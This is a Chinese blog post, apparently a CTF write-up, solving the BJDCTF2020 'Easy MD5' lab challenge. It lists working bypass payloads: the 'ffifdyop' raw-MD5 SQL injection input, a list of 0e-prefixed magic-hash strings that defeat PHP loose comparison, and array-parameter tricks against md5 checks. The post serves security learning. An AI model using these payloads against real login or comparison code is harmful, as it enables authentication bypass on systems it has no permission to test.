8.24 [BJDCTF2020]Easy MD5

打开靶机后显示:
image
输入1 查询:
得到url

http://644b0792-aafa-475b-acf9-9cc423d13c89.node4.buuoj.cn:81/leveldo4.php?password=1

因此多半有SQL注入 但是尝试基本的绕过均无效
用burpsuite抓包查看:
image
有一句

Hint: select * from 'admin' where password=md5($pass,true)

SQL注入的话我们想构造 password= ' or ''... 的形式来绕过
这里 md5 true 有一个漏洞:
ffifdyop md5编码hash值为:276f722736c95d99e921722cf9ed621c 这个字符串前几位刚好是 ' or'6 而Mysql又会把hex转为ascii 所以拼接后的语句为:

select * from 'admin' where password=' ' or '6.....'

相当于万能密码 刚好可以绕过md5
提交后进入下个界面:
image
查看source 发现
image
PHP中的'=='有个漏洞:带自动转换
只要是 md5为 0e开头的 都会被转换为科学计数法的0来判断是否等
常用 0e开头:

QNKCDZO
0e830400451993494058024219903391
 
s878926199a
0e545993274517709034328855841020
 
s155964671a
0e342768416822451524974117254469
 
s214587387a
0e848240448830537924465865611904
 
s214587387a
0e848240448830537924465865611904
 
s878926199a
0e545993274517709034328855841020
 
s1091221200a
0e940624217856561557816327384675
 
s1885207154a
0e509367213418206700842008763514
 
s1502113478a
0e861580163291561247404381396064
 
s1885207154a
0e509367213418206700842008763514

选择两个GET提交后进入下一个界面
也可以选择数组绕过:

http://644b0792-aafa-475b-acf9-9cc423d13c89.node4.buuoj.cn:81/levels91.php?a[]=1&b[]=2

md5对于数组一致返回Null即为0
下个界面:
image
这里因为是'==='没有自动转换 所以只能数组绕过了
用post提交即可
image

posted @ 2023-08-24 19:14  N0zoM1z0  阅读(18)  评论(0编辑  收藏  举报